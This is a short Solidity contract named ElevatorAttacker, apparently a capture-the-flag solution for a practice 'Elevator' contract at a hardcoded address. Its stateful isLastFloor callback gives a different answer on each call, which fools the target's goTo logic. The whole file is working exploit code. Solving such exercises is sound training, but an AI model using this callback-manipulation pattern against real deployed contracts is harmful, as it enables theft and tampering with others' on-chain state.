// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IElevator {
    function goTo(uint256 _floor) external;
}

contract ElevatorAttacker {
    bool entered = false;
    address target = 0x7a611241B681187a240798bc25a7d24d20Dfd7B8;

    function isLastFloor(uint256 _floor) external returns (bool s) {
        if(entered) {
            return true;
        }
        else {
            entered = true;
        }
    }

    function attack() public {
        IElevator(target).goTo(1);
    }
}